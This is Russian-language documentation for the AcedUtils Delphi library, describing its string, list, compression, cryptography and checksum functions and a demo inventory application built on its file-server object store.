    Функции: G_Delete, G_CutLeft, G_CutRight, G_DeleteStr, G_DeleteText, G_DeleteChar, G_DeleteChars, G_KeepChars используются для удаления из строки фрагментов, подстрок или отдельных символов. Функции: G_Compact, G_Trim, G_TrimLeft, G_TrimRight удаляют из строки пробелы и управляющие символы. Далее следуют функции для работы с маской. Под маской здесь понимается шаблон, подобный тому, который используется при поиске файлов на диске, как, например, "rpt??w?.xls" или "*.tmp". Функция G_ApplyMask форматирует строку символов с помощью маски, а G_ExtractWithMask, наоборот, извлекает данные из строки по маске; G_ValidateMask используется для проверки того, что строка удовлетворяет заданной маске; функции G_ValidateWildStr и G_ValidateWildText выполняют проверку соответствия строки заданному шаблону, который может содержать специальные символы, предполагающие замену их любым количеством произвольных символов, т.е. аналогичные символу '*' в шаблоне для поиска файлов. Кроме перечисленных, в AcedStrings входят функции: G_CountOfChar, G_CountOfChars для подсчета числа вхождений одного или нескольких символов в строку; G_IsEmpty для проверки того, что строка является пустой или содержит только пробелы и управляющие символы; G_PadLeft, G_PadRight, G_Center для дополнения строки, соответственно, слева, справа или с обеих сторон указанным символом до требуемой длины; функция G_Duplicate формирует строку, состоящую из нескольких копий другой строки; G_StrReverse обращает порядок символов в строке. Если для управления памятью в проекте используется менеджер памяти AcedMemory, и в тексте модуля AcedStrings определен символ USE_ACED_MEMORY, становятся доступны функции G_NewStr, G_Append, G_Insert, G_AppendNewLine. Они могут использоваться как альтернатива классу TStringBuilder для того, чтобы эффективно изменять и дополнять строки типа AnsiString на месте, без лишнего перераспределения памяти. Например, формирование длинной строки в цикле с помощью функции G_Append выполняется значительно быстрее простой конкатенации строк.Однако, этот способ все же менее эффективен, чем использование класса TStringBuilder, т.к. при каждом изменении строки тратится дополнительное время на определение размера области памяти, выделенной под строку. Функции типа G_Append, G_Insert лучше применять для внесения небольшого числа изменений в длинную строку, когда создание специального экземпляра класса TStringBuilder неоправданно.

    Операции с числами типа Double и Currency

    Следующая группа объединяет функции для работы со значениями типа Double и Currency. В частности, процедуры G_Inc, G_Dec, G_Mult, G_Div принимают в качестве первого параметра ссылку на переменную типа Double или Currency и, соответственно, складывают, вычитают, умножают или делят ее значение на число, переданное вторым параметром. Эти процедуры призваны компенсировать собой отсутствие в языке Delphi операций "+=", "/=" и т.п. из C-подобных языков. Функцию G_CurrencyToDouble необходимо вызывать для приведения значения типа Currency к типу Double, т.к. обычный способ приведения: "Double(Currency)" не срабатывает из-за ошибки в компиляторе. Функция G_ThousandsOfCurrencyToDouble преобразует значение типа Currency к типу Double, одновременно делит его на 1000 и округляет до 3-х знаков после запятой.

    Описание демонстрационного проекта

    Кроме исходного кода модулей библиотека AcedUtils включает пример, реализующий полноценное приложение для работы с данными на основе коллекций из модуля AcedStorage. Пример включает несколько отчетов, которые строятся с помощью функций из модуля AcedExcelReport. Рассмотрим подробнее задачу, решаемую этим приложением, и некоторые особенности реализации хранилища данных на основе файлового сервера. Программа предназначена для учета товаров, поступающих от различных поставщиков. Товары классифицируются по категориям. Основные типы и наборы данных, используемые приложением, описываются в модуле DataTypes, являющемся аналогом модуля данных. Структура базы данных состоит из трех таблиц: поставщики товаров (коллекция Suppliers), категории товаров (коллекция Categories) и сами товары (коллекция Products). Каждая из этих сущностей описывается классом, производным от класса TSerializableObject из модуля AcedStorage. Атрибуты сущностей, т.е. поля таблиц базы данных, представляются свойствами этих классов. Обычно каждому такому свойству соответствует private-поле в классе объекта, используемое для хранения значения этого свойства. Кроме того, в модуле DataTypes имеется класс TPictureObject, предназначенный для сохранения в бинарном потоке и чтения из потока данных объекта типа TPicture. Этот класс используется для хранения изображения, ассоциированного с категорией товаров, которая представляется классом TCategoryObject. Класс TSupplierObject описывает поставщика товара. Он включает свойства: ID – уникальный идентификатор записи (наследуется от класса TSerializableObject); CompanyName – наименование поставщика; Country – страна поставщика; CityRegion – строка с названием города и, возможно, области; Address – адрес поставщика; PostalCode – почтовый индекс; PhoneFax – номера телефонов и факсов; HttpEmail – адреса электронной почты и web-сайта поставщика; ContactPerson – представитель поставщика, с которым поддерживается контакт; Comments – дополнительная информация о поставщике.
    Как и во всяком классе, производном от TSerializableObject, в классе TSupplierObject перекрываются методы: Load, Save, Equals, Clone базового класса. В частности, в методе Load выполняется чтение состояния объекта из бинарного потока. Значения всех полей, в том числе FID, унаследованного из TSerializableObject, считываются методами класса TBinaryReader. Метод Save помещает соответствующие данные в бинарный поток, представляемый классом TBinaryWriter. На примере класса TSupplierObject демонстрируется один из приемов оптимального использования пространства в бинарном потоке. Вместо того, чтобы сохранять все подряд значения полей, в методе Save создается переменная Flags, содержащая битовую карту используемых полей, т.е. полей, значения которых отличны от значений по умолчанию. Эта битовая карта помещается в бинарный поток в виде однобайтного значения. Затем в потоке сохраняются значения только тех полей, которые помечены как используемые. В методе Load сначала считывается битовая карта, а затем значения полей, которые помечены в ней единичными битами. В методе Equals класса TSupplierObject выполняется сравнение значений каждого из полей объекта с соответствующими полями другого экземпляра того же класса. Если все поля обоих экземпляров равны, функция возвращает True, в противном случае – False. Метод Clone создает новый экземпляр класса TSupplierObject и копирует в него значения всех полей данного объекта, включая поле FID, унаследованное от класса-предка. Класс TCategoryObject предназначен для описания категории товара. Он содержит наименование категории (свойство CategoryName), комментарий (свойство Comments) и рисунок, иллюстрирующий данную категорию (свойство Picture). Кроме того, класс TCategoryName включает свойство ID, унаследованное от класса-предка TSerializableObject. Аналогично TSupplierObject, в данном классе перекрываются методы Load, Save, Equals и Clone базового класса. Кроме того, перекрывается виртуальный конструктор Create для создания объекта типа TPictureObject, представляющего рисунок, и метод Destroy для освобождения этого объекта.


    Следует обратить внимание на то, как в этом классе сохраняется и считывается значение уникального идентификатора записи – поля FID базового класса TSerializableObject. Предполагается, что число возможных категорий товара не превышает 255, поэтому идентификатор записи хранится в виде байта, а не значения типа Integer. При этом сама коллекция категорий товаров представляется экземпляром класса TBytePrimaryKeyCollection. Класс TProductObject содержит свойства, используемые при описания товара: ID – уникальный идентификатор записи; ProductName – наименование товара; SupplierID – внешний ключ, содержащий ссылку на элемент коллекции Suppliers, представляющий поставщика товара; CategoryID – внешний ключ, содержащий ссылку на элемент коллекции Categories, представляющий категорию товара; QuantityPerUnit – строка, описывающая единицу измерения товара; UnitPrice – цена единицы товара; UnitsInStock – количество товара на складе; UnitsOnOrder – ожидаемое количество товара; Discontinued – признак того, что поставки товара прекращены; Little – признак того, что на складе осталось мало соответствующего товара. На примере класса TProductObject демонстрируется работа с версиями объектов. Предполагается, что в первоначальной версии данного класса отсутствовало свойство Little, оно было добавлено во второй версии. Сохраняемая версия элементов коллекции определяется параметром Version при вызове конструктора класса данной коллекции. Так, при вызове конструктора для коллекции Products во втором параметре передается значение 2. В методе Load класса TProductObject проверяется значение параметра Version. Если версия равна 1, данные сохранены в исходном формате, т.е. без поля FLittle. Если сохраненная версия данных равна 2, в бинарном потоке присутствует значение поля FLittle, которое должно быть прочитано методом ReadBoolean класса TBinaryReader. Класс TPictureObject, используемый для хранения рисунка, иллюстрирующего категорию товара, может сам по себе найти применение во многих приложениях.


    Он позволяет сохранять в бинарном потоке растровый рисунок (TBitmap), метафайл (TMetafile) или иконку (TIcon), которые представляются классом TPicture из модуля Graphics. Причем, данные изображения постоянно находятся в упакованном виде и распаковываются только, когда нужно загрузить изображение в объект TPicture. Метод Load класса TPictureObject считывает изображение из объекта TPicture, бинарного потока, представленного классом TBinaryReader, или другого экземпляра класса TPictureObject. Метод Save сохраняет изображение в потоке. Метод Assign загружает рисунок в объект TPicture. Функция Equals возвращает True, если данный экземпляр класса TPictureObject, содержит то же самое изображение, что и экземпляр, переданный в функцию как параметр. Свойства IsBitmap, IsMetafile, IsIcon класса TPictureObject позволяют проверить тип изображения, представленного объектом. Свойство Bytes возвращает указатель на массив байт, содержащий упакованное изображение. Свойство Length – длину этого массива в байтах. Коллекции Suppliers, Categories, Products создаются процедурой CreateCollections в модуле DataTypes, которая вызывается из раздела инициализации этого модуля. Перед созданием каждой из коллекций создаются индексы, предназначенные для упорядочивания элементов коллекций по какому-либо признаку. Так, поставщики сортируются по значению свойства CompanyName, т.е. по наименованию поставщика, список категорий – по наименованию категории, товары – по наименованию товара, идентификатору поставщика и идентификатору категории. Индексы по наименованиям являются уникальными, что обеспечивает отсутствие в коллекциях элементов с дублирующимися наименованиями. Индексы по внешним ключам в коллекции товаров используются для проверки наличия подчиненных записей в таблице товаров при попытке удаления записи из главной таблицы – коллекции поставщиков или коллекции категорий товаров. Так как количество поставщиков может быть большим, для коллекции Suppliers включается режим хеширования элементов по значению уникального идентификатора (свойство MaintainHash устанавливается в True).


    Уничтожаются коллекции процедурой FreeCollections, вызываемой из раздела finalization модуля DataTypes. Для удобства загрузки и сохранения коллекций в модуле DataTypes определены глобальные функции, такие как LoadSuppliers, LoadProducts, SaveSuppliers и т.п., предназначенные для работы с данными в режиме многопользовательского доступа. Функция LoadSuppliers и аналогичные ей функции для загрузки коллекций Categories и Products просто вызывают метод LoadFile соответствующей коллекции и передают в него имя файла данных и, в случае коллекции поставщиков, пароль для дешифрования файла данных. Функции для сохранения изменений в файле реализуют более сложный алгоритм. Рассмотрим его на примере функции SaveSuppliers, используемой для сохранения на диске коллекции поставщиков. В начале функции с помощью свойства HasChanges проверяется наличие в памяти каких-либо кэшированных изменений для коллекции Suppliers. Если изменений нет, то отсутствует необходимость перезаписи файла данных. Если изменения есть, соответствующий файл данных открывается методом OpenFile коллекции. При этом указывается пароль, используемый для шифрования и дешифрования данных коллекции, а также указывается константа dcmFast, включающая режим быстрого сжатия данных для экономии места на диске и сокращения объема информации, пересылаемой по сети. В случае невозможности открытия файла данных (например, если этот файл открыт для записи другим пользователем и его приложение почему-то зависло), кэш изменений очищает и на экран выводится сообщение об ошибке. После того, как файл данных успешно открыт и, при наличии в нем изменений, перечитан с диска, для коллекции Suppliers вызывается метод ApplyChanges. Этот метод применяет кэшированные изменения к набору данных коллекции. Если изменения применены успешно, коллекция сохраняется на диске вызовом метода SaveIfChanged. Если в процессе применения изменений возникли какие-либо проблемы, данные коллекции перечитываются с диска методом UndoIfChanged, а затем на экран выводится сообщение об ошибке.


    Метод UndoIfChanged перечитывает данные с диска только в случае, если коллекция содержит изменения, т.е. ее свойство Changed равно True. В конце работы файл данных должен быть обязательно закрыт методом CloseFile коллекции. Для большей надежности вызов метода CloseFile помещается в раздел finally блока try-finally структурированной обработки исключений. Рассмотрим, как выполняется добавление, изменение, удаление записей на примере коллекции поставщиков. Корректировка списка поставщиков производится с помощью формы TSuppliersForm, определенной в модуле SuppliersUnit. При этом используется глобальная переменная SupplierObject типа TSupplierObject, объявленная в модуле DataTypes. Когда пользователь хочет добавить в список нового поставщика и нажимает соответствующую кнопку, вызывается функция NewItem коллекции Suppliers, создающая новый экземпляр класса TSupplierObject, который затем присваивается глобальной переменной SupplierObject. Для ввода данных о новом поставщике на экране отображается форма TSupplierForm из модуля SupplierUnit. Эта форма позволяет пользователю скорректировать значения свойств экземпляра класса TSupplierObject, назначенного переменной SupplierObject. Когда пользователь заполнит все необходимые поля и нажмет кнопку для сохранения изменений, выполняется предварительная проверка введенных данных. Например, проверяется, что наименование поставщика не является пустой строкой и что это наименование не дублируется в списке. Позже, при сохранении данных, это привело бы к ошибке, вызванной нарушением уникальности индекса, и откату всех изменений. Такие ошибки удобнее выявлять на этапе предварительной проверки, чтобы позволить пользователю исправить некорректно введенные данные. Если предварительная проверка прошла успешно, форма ввода данных закрывается, для коллекции Suppliers вызывается метод EndEdit, сохраняющий информацию о добавлении записи в кэше изменений. Затем вызывается рассмотренная выше глобальная функция SaveSuppliers из модуля DataTypes для применения кэшированных изменений к набору данных и сохранения коллекции на диске.


    Если пользователь отказался от сохранения изменений закрытием по Escape формы ввода данных, вызывается метод CancelEdit коллекции Suppliers для уничтожения объекта, присвоенного переменной SupplierObject. Корректировка записи о поставщике отличается от добавления нового поставщика только тем, что в начале вместо NewItem вызывается функция BeginEdit коллекции поставщиков Suppliers, в которую передается идентификатор редактируемого элемента коллекции. Когда пользователь удаляет поставщика из коллекции Suppliers, на экране сначала появляется окно для подтверждения удаления записи. Затем открывается файл данных для коллекции товаров Products вызовом метода OpenFile. Используя индекс по внешнему ключу SupplierID коллекции Products, проверяется наличие в списке товаров элемента, ссылающегося на удаляемого поставщика. Если такой товар присутствует в списке, поставщик не может быть удален. Если на этого поставщика никто не ссылается, для коллекции Suppliers вызывается метод Delete, в который передается идентификатор удаляемого элемента. Затем вызывается функция SaveSuppliers для фактического удаления записи из набора данных и сохранения измененной коллекции на диске. Файл данных коллекции Products закрывается только после сохранения всех изменений в коллекции Suppliers. Это нужно, чтобы другой пользователь не мог в момент удаления поставщика добавить товар, который на него ссылается. С этой же целью в момент сохранения коллекции товаров Products вызовом глобальной функции SaveProducts для каждого добавленного или измененного товара проверяется наличие в коллекции Suppliers поставщика, идентификатор которого назначен свойству SupplierID данного товара.

    и классов, составляющих библиотеку AcedUtils,

    При разработке функций и классов, составляющих библиотеку AcedUtils, упор делался на оптимизацию по быстродействию. Но разработчик прикладной программы должен понимать, что секрет достижения максимальной производительности заключается не столько в оптимизации машинного кода, ассемблерных вставках и т.п., сколько в использовании правильных алгоритмов. Например, если стоит задача поиска некоторого значения в массиве элементов, можно пойти несколькими путями. Самый простой путь – последовательный перебор элементов и сравнение их с искомым значением. Для массива, содержащего всего несколько элементов, этот метод может оказаться самым эффективным. Если массив содержит много элементов, лучше заранее отсортировать его, а затем использовать бинарный поиск, который несравнимо быстрее последовательного перебора элементов. Если число элементов массива измеряется десятками тысяч и поиск в нем выполняется часто, имеет смысл пожертвовать лишней памятью для организации хешированного списка. Время поиска в хеше не зависит от размера массива. Но и хешированный список имеет свои недостатки, как, например, невозможность последовательной индексации элементов. Кратко рассмотрим назначение модулей в составе AcedUtils.
  • AcedMemory – реализует быстродействующий менеджер памяти, оптимизированный для работы с большим числом мелких фрагментов данных. Особенностью является ведение пула блоков памяти одного размера. Таким образом решается проблема дефрагментации пространства памяти, занятого блоками размером до 64кБ. Кроме того, данный менеджер памяти отличается высоким быстродействием и оптимальным, с точки зрения кэширования памяти, выравниванием распределяемых блоков.
  • AcedConsts – содержит константы и методы, используемые другими модулями в составе AcedUtils. Кроме того, содержит определение типов ссылок на массивы, таких как PIntegerItemList, PObjectItemList, PPointerItemList и других.
  • AcedBinary – объединяет функции для работы с блоками памяти, массивами байт, чисел типа Integer, Word, LongWord и битовыми строками.
    Включает функции для эффективной работы с упорядоченными массивами одинарных и двойных слов, выполнения логических операций над множествами, представленными в виде таких массивов.
  • AcedStreams – содержит классы TBinaryReader и TBinaryWriter, позволяющие считывать данные из бинарного потока и помещать данные в бинарный поток. Исходные и выходные данные бинарного потока могут представляться в виде массива байт, строки в кодировке Base64, файла на диске или потока типа TStream. Данные, помещенные в бинарный поток, защищаются контрольной суммой Адлера и, при необходимости, сжимаются методом LZ+Huffman. Кроме того, данные в потоке могут быть зашифрованы методом RC6 и защищены цифровой сигнатурой SHA-256. В модуле AcedStreams также находятся классы TReaderStream и TWriterStream, которые позволяют работать с экземплярами классов TBinaryReader и TBinaryWriter, как будто эти классы являются потомками стандартного класса TStream.
  • AcedStrings – содержит разнообразные функции для работы со строками, в частности, для сравнения строк с учетом и без учета регистра символов, перевода символов и строк в верхний/нижний регистр, перекодировки строк из DOS в Windows и обратно, поиска, замены, удаления подстрок и т.д. Кроме того, в AcedStrings находится класс TStringBuilder, предназначенный для построения длинных строк из отдельных фрагментов, а также изменения таких строк "на месте". При использовании этого класса память не распределяется заново каждый раз при добавлении к строке следующего фрагмента. Построение длинной строки с помощью экземпляра класса TStringBuilder выполняется значительно быстрее простой конкатенации строк в цикле.
  • AcedCommon – объединяет функции, не выделенные в отдельные категории, в частности, функции форматирования даты и времени, преобразования числа в строку и наоборот, функции для записи денежной суммы прописью, перевода строки или байтового массива в кодировку Base64 и восстановления из кодировки Base64, а также для расчета контрольной суммы Адлера и CRC32, для работы со счетчиками и таймерами при измерении временных интервалов.


    Кроме того, здесь находятся некоторые вспомогательные функции, в том числе относящиеся к пользовательскому интерфейсу.
  • AcedCompression – содержит функции, реализующие сжатие бинарных данных методом LZ+Huffman, и последующую распаковку данных, сжатых таким способом. Используемый алгоритм упаковки представляет собой немного измененный вариант алгоритма, который применяется в архиваторе PKZIP. За счет этих изменений достигается большая степень сжатия в режимах, отличных от скоростного (dcmFastest).
  • AcedCrypto – объединяет функции для шифрования данных методами RC4 и RC6 (в режимах ECB, CFB и OFB), для расчета значения односторонней хеш-функции SHA-256, используемой при верификации данных. Цифровая сигнатура SHA-256 может вычисляться как для целой строки или массива байт, так и для данных, представленных в виде нескольких фрагментов. В этом же модуле находятся функции, реализующие генератор псевдослучайных чисел Mersenne Twister с периодом 219937-1.
  • AcedLists – содержит классы для работы со списками: TBitList – битовая строка, т.е. упакованный набор элементов типа Boolean; классы TIntegerList, TWordList представляют собой упорядоченные наборы значений типа Integer и Word, соответственно; классы TIntegerAssociatedList, TStringAssociatedList – это сортированные списки ключей типа Integer и String, соответственно, с каждым из которых связан объект типа TObject; классы TIntegerHashTable, TStringHashTable аналогичны двум предыдущим, но ключи в них хранятся в виде хешированного списка; TLinkedList – связанный список, в узлах которого помещаются значения типа TObject; классы TArrayList, TArrayReadOnlyList – это коллекции указателей на объекты или записи с возможностью сортировки, поиска и группирования элементов.
  • AcedStorage – объединяет классы для организации объектного хранилища данных, которое представляет собой эффективный способ хранения данных на локальном компьютере или файловом сервере с возможностью многопользовательского доступа. При реализации объектного хранилища используется хеширование записей по первичным ключам, индексация с возможностью выделения диапазонов значений, уведомления об изменении данных, поддерживаются ограничения уникальности.


    Для обеспечения возможности одновременного изменения данных одного набора, т.е. коллекции, несколькими пользователями применяется механизм транзакций. Каждая таблица данных представляется коллекцией типа TSerializableCollection, в которой содержатся записи – объекты, производные от класса TSerializableObject.
  • AcedNetWait – форма, которая используется модулем AcedStorage при возникновении коллизий на файловом сервере. На экран выводится сообщение о том, что в данный момент открываемый файл данных заблокирован, т.к. он записывается другим пользователем или другим приложением. В этом случае пользователь должен подождать, повторить попытку открытия файла или отменить операцию. Следует отметить, что файл данных блокируется только на время автоматического согласования изменений и непосредственного сохранения данных. Блокировка не выполняется в процессе интерактивной корректировки данных одной и той же таблицы несколькими пользователями.
  • AcedExcelReport – содержит функции и классы, облегчающие подготовку и печать отчетов с помощью Microsoft Excel. Обычно при работе с Microsoft Excel из Delphi приходится обращаться к различным интерфейсам из модуля Excel97, сгенерированного на основе библиотеки типов Microsoft Excel. В модуле AcedExcelReport собраны функции, наиболее часто используемые при подготовке отчетов. Это позволяет сократить размер и уменьшить сложность кода для генерации отчетов, а также сократить число обращений к Microsoft Excel через COM-интерфейсы, что существенно повышает производительность.
  • AcedGridFrame, AcedCheckFrame, AcedViewFrame – фреймы для отображения на экране данных в виде таблицы с возможностью навигации. Представляют собой аналог компонента TStringGrid с расширенными возможностями. AcedGridFrame отображает таблицу и строку поиска. Для столбцов задается режим выравнивания и заголовок. Каждая ячейка может отображаться своим цветом. Поддерживается многострочный текст в ячейках и режим отложенного выделения записей. AcedCheckFrame, кроме того, показывает окно пометки (Checkbox) рядом с каждой записью и предоставляет коллекцию помеченных записей и коллекцию недоступных записей, для которых нельзя изменить пометку.AcedViewFrame отображает информацию в виде таблицы без строки поиска и выделения цветом текущей записи. Этот фрейм игнорирует события от клавиатуры, но предоставляет методы для скроллинга таблицы из кода. Дополнительную информацию о grid-фреймах можно почерпнуть из комментариев в исходном коде соответствующих модулей.
  • AcedGrids – содержит описание общих типов и событий, используемых фреймами: AcedGridFrame, AcedCheckFrame и AcedViewFrame.
  • Теперь подробнее рассмотрим функциональность основных модулей AcedUtils.

    Преобразование числа в строку и строки в число

    В AcedCommon есть несколько функций для преобразования целого числа в строку, содержащую его десятичное или шестнадцатеричное представление (функции G_IntToStr, G_UIntToHex и др.). G_HexToUInt возвращает число типа LongWord, шестнадцатеричная запись которого передана параметром типа String. Функции G_Between… используются для проверки того, что число, записанное в виде строки, лежит в нужном диапазоне. Функции G_StrTo… выполняют преобразование строки в число, типа Integer, LongWord, Int64, Extended или Currency. В случае ошибки эти функции не генерируют исключение, а возвращают значение False. Еще есть функция G_ModDiv10, которая делит значение var-параметра на 10 и возвращает остаток от деления как результат функции. Она может быть полезна при преобразовании в строку длинных чисел. Функции G_NumToStr и G_NumToRub используются для записи числовых и денежных сумм прописью по-русски. Различные особенности записи чисел прописью настраиваются соответствующими параметрами форматирования. Например, вызов G_NumToStr(54321, S, nfFemale) вернет в переменной S строку: "пятьдесят четыре тысячи триста двадцать одна", а вызов G_NumToRub(3.2, ruFull, ruNumShort) вернет строку: "Три рубля 20 коп.".

    Прочие функции

    Функция G_SwitchToApplication переводит на передний план запущенный экземпляр приложения, к которому принадлежит окно с указанным именем класса. Обычно эта функция применяется для предотвращения повторного запуска приложения, чтобы вместо запуска нового экземпляра вывести на передний план запущенный ранее экземпляр приложения. Кроме того, ее можно использовать, например, для переключения на другую задачу при организации приложения в виде нескольких независимых процессов. Функция G_SelectMenu используется для имитации выбора пользователем заданного пункта или подпункта меню текущего окна. При этом в функцию окна посылаются события, имитирующие нажатие пользователем клавиши вызова меню, клавиш со стрелками вправо и вниз, клавиши Enter, в последовательности, необходимой для выбора нужного пункта меню. При этом глубина раскрываемого подпункта может быть любой. Функции G_ToggleKey и G_IsToggled управляют состоянием клавиш: Num Lock, Caps Lock, Scroll Lock. Первая функция позволяет изменить состояние любой из этих клавиш, вторая – считывает текущее состояние соответствующей клавиши. Последняя функция G_ODS помещает сообщение в Event Log (журнал, вызываемый из отладчика в среде Borland Delphi по Ctrl+Alt+V).

    Работа с кодировкой Base64 и шестнадцатеричными кодами

    Функция G_StrToCodes возвращает строку, в которой каждый символ исходной строки, переданной параметром, представлен его шестнадцатеричным кодом. Например, вызов G_StrToCodes('ABC') вернет строку: "414243". Функция G_CodesToStr используется для обратного преобразования: G_CodesToStr('414242') вернет строку "ABC". Здесь же находятся функции для работы с кодировкой Base64, позволяющей представить строку символов или массив байт в виде строки, не содержащей пробелов, управляющих символов и символов в национальной кодировке. Функция G_Base64Encode выполняет кодирование строки символов или массива байт в Base64. Результат возвращается в виде строки типа AnsiString. Обратное преобразование выполняется функцией G_Base64Decode, которая восстанавливает исходный массив байт или строку символов из строки в кодировке Base64.

    Список указателей TArrayList

    TArrayList является аналогом класса ArrayList из .NET Framework. Он предназначен для хранения набора указателей. В конструктор класса передается предполагаемое число элементов, которое будет добавлено в список. Элементы можно загрузить методом Load из другого экземпляра класса TArrayList или из указанной области памяти. Отдельные элементы добавляются методом Add в конец списка или методом Insert в произвольное место списка. Для удаления элемента по индексу используется метод RemoveAt. Если элемент содержит ссылку на объект, производный от TObject, вызов метода RemoveAndFreeItemAt не только удалит элемент из списка, но и освободит занимаемую им память вызовом TObject.Free. Методы UnorderedRemoveAt и UnorderedRemoveAndFreeItemAt, аналогичны двум предыдущим. Они позволяют быстро удалить элемент из списка, заменив его последним элементом списка и уменьшив на 1 значение свойства Count. Эти методы могут применяться, когда порядок элементов не имеет значения. Для полной очистки списка предназначен метод Clear; для очистки списка с вызовом метода Free для каждого элемента используется метод ClearAndFreeItems. Аналогично классам TIntegerList, TWordList, в классе TArrayList имеются методы для работы со списком как со стеком. Метод Pop возвращает последний элемент списка и одновременно удаляет его, уменьшая на 1 значение свойства Count. Метод Peek возвращает последний элемент списка, не удаляя его. Поместить элемент в стек можно с помощью метода Add. Обращение к отдельным элементам списка осуществляется через свойство ItemList, которое возвращает ссылку на массив указателей типа Pointer. Длина списка возвращается свойством Count. Общее число элементов, под которое распределена память во внутреннем массиве, определяется свойством Capacity. Свойство Count может произвольным образом изменяться. Никаких проверок при этом не выполняется. Capacity обычно превышает Count, что позволяет добавлять новые элементы в список без немедленного выделения нового блока памяти. Чтобы предельно уменьшить объем памяти, занимаемый списком, можно вызвать метод TrimToSize, который распределяет под внутренний массив область памяти, достаточную для хранения Count элементов, но не более того.
    После вызова этого метода свойство Capacity становится равно свойству Count. Метод Clone возвращает копию экземпляра класса TArrayList. Метод Equals поэлементно сравнивает текущий список с заданным списком и возвращает True, если все элементы, т.е. указатели, обоих списков равны, или False, если между списками есть какие-либо различия. Чтобы найти элемент в списке TArrayList можно воспользоваться функцией IndexOf, которая сканирует внутренний массив в поисках нужного указателя. Если надо найти не просто указатель, а элемент с определенным значением признака, придется перебрать в цикле все элементы массива ItemList. Для более эффективного поиска, а также просто для упорядочивания элементов списка, можно отсортировать список методом Sort. Данный метод принимает в качестве параметра адрес функции, сравнивающей два элемента списка. Элементы сортируются по возрастанию. Когда список отсортирован, для нахождения элемента методом бинарного поиска можно воспользоваться функцией Search, которая принимает два параметра: указатель на искомое значение признака и функцию для сопоставления элемента списка с этим значением. Имеется также модификация этого метода, которая принимает два указателя на искомые значения, например, для поиска улицы в определенном городе, если эти признаки находятся в разных полях записи, описывающей адрес. В классе TArrayList предусмотрена возможность группирования элементов. При этом элементы с одинаковым значением признака объединяются в одну группу. Группирование выполняется методом EnumerateGroups, который принимает в качестве параметра адрес функции, сравнивающей два элемента списка. При выполнении этой операции список сортируется в порядке возрастания значения признака. Функция EnumerateGroups возвращает коллекцию групп – экземпляр класса TGroupEnumerator. Число групп в этой коллекции определяется свойством GroupCount. Указатель на массив, содержащий группы, возвращается свойством GroupList класса TGroupEnumerator. Каждая группа представляется списком TArrayReadOnlyList – аналог класса TArrayList, который не позволяет добавлять и удалять элементы.Свойство ItemList этого класса возвращает указатель на массив, содержащий элементы группы. Количество элементов можно определить с помощью свойства Count. В классе TArrayReadOnlyList предусмотрены методы для линейного поиска указателя (IndexOf), для сортировки элементов группы (Sort), для бинарного поиска (Search), для выделения подгрупп (EnumerateGroups). Следует обратить внимание на то, что в экземпляре класса TArrayReadOnlyList нет собственного внутреннего массива для хранения элементов списка. Вместо этого он пользуется внутренним массивом экземпляра класса TArrayList, для которого был вызван метод EnumerateGroups. Поэтому в процессе работы с группами нельзя вносить изменения в основной экземпляр TArrayList.

    Связанный список TLinkedList

    Список TLinkedList представляет собой упорядоченный набор элементов, каждый из которых содержит ссылку на предыдущий и последующий элементы. Связанный список удобен для последовательного перебора элементов вперед или назад, а также для добавления и удаления элементов в произвольном месте списка. Этот класс может использоваться, например, для организации очередей, работающих по принципу: "первым пришел – первым вышел", с возможностью добавления элементов в конец очереди и выборки их с начала очереди. Особенностью списка на основе класса TLinkedList является отсутствие возможности индексированного доступа к элементам. При необходимости обращения к элементам списка по индексу лучше воспользоваться другими классами, такими как TArrayList. Свойство HeadNode экземпляра класса TLinkedList возвращает указатель на первый элемент, т.е. узел, списка. В противоположность этому свойству, TailNode возвращает указатель на последний элемент списка. С помощью этих свойств, а также полей NextNode и PrevNode узла списка TLinkedListNode, представляющих, соответственно, указатель на следующий и предыдущий элементы списка, можно перебрать все элементы списка. Значение типа TObject узла списка сохраняется в поле Value записи TLinkedListNode. Если свойство OwnValues данного экземпляра TLinkedList равно True, при очистке списка методом Clear или удалении отдельных элементов методами RemoveHead, RemoveTail или Remove для значения Value каждого удаляемого узла списка вызывается метод Free. По умолчанию свойство OwnValues равно False, и метод Free для значений не вызывается. Добавить значение в начало или в конец связанного списка можно, соответственно, функциями AddHead и AddTail, которые возвращают ссылку на добавленный узел. Чтобы вставить значение в произвольное место списка, необходимо воспользоваться функциями InsertBefore или InsertAfter, предназначенными для добавления элемента перед или после определенного узла списка. Функция IsEmpty возвращает True, если список пустой. Функции PopHeadValue и PopTailValue позволяют извлечь значение, соответственно, из первого и последнего узлов, а сами узлы удалить из связанного списка.

    Следующая группа функций предназначена для

    Следующая группа функций предназначена для вычисления контрольных сумм, которые используются при проверке целостности данных. Контрольная сумма представляет собой число типа LongWord, которое зависит от всего исходного массива данных. При изменении хотя бы одного бита данных, значение контрольной суммы меняется. Это значение может, например, передаваться вместе с данными по сети, а затем пересчитываться на приемном конце и сравниваться с исходным значением контрольной суммы. Если оба значения равны, то с большой вероятностью можно утверждать, что данные переданы без ошибок. Здесь имеются в виду случайные ошибки при передаче, а не предумышленное искажение данных. Для надежной защиты данных от любого вида вмешательства вместо контрольной суммы нужно использовать цифровую сигнатуру, такую как SHA-256 (см. описание модуля AcedCrypto). Правда, значение односторонней функции SHA-256 рассчитывается намного медленнее, чем контрольная сумма типа CRC32. Функция G_Adler32 вычисляет контрольную сумму Адлера массива байт в соответствии с RFC 1950. Эта контрольная сумма используется библиотекой zlib. Она получается быстрее, чем CRC32, но, по всей видимости, является чуть менее надежной. Функции G_CRC32 и G_NextCRC32 возвращают значение контрольной суммы CRC32 указанной области памяти. Вторая функция отличается от первой тем, что она используется для поэтапного расчета контрольной суммы массива, представленного в виде нескольких фрагментов. Например, если длинный массив передается по сети в виде нескольких пакетов, функция G_NextCRC32, вызываемая последовательно для каждого пакета данных, вычислит в результате контрольную сумму целого массива. Пара функций G_CRC32_Str и G_CRC32_Text может использоваться при хешировании строк. Первая функция возвращает значение типа LongWord, которое зависит от всех символов строки с учетом их регистра. Вторая функция возвращает значение, которое зависит от всех символов строки, но не зависит от их регистра, т.е. это значение будет одинаковым для строк, которые отличаются только регистром символов.

    Средства разработки приложений

    Класс AcedBinary

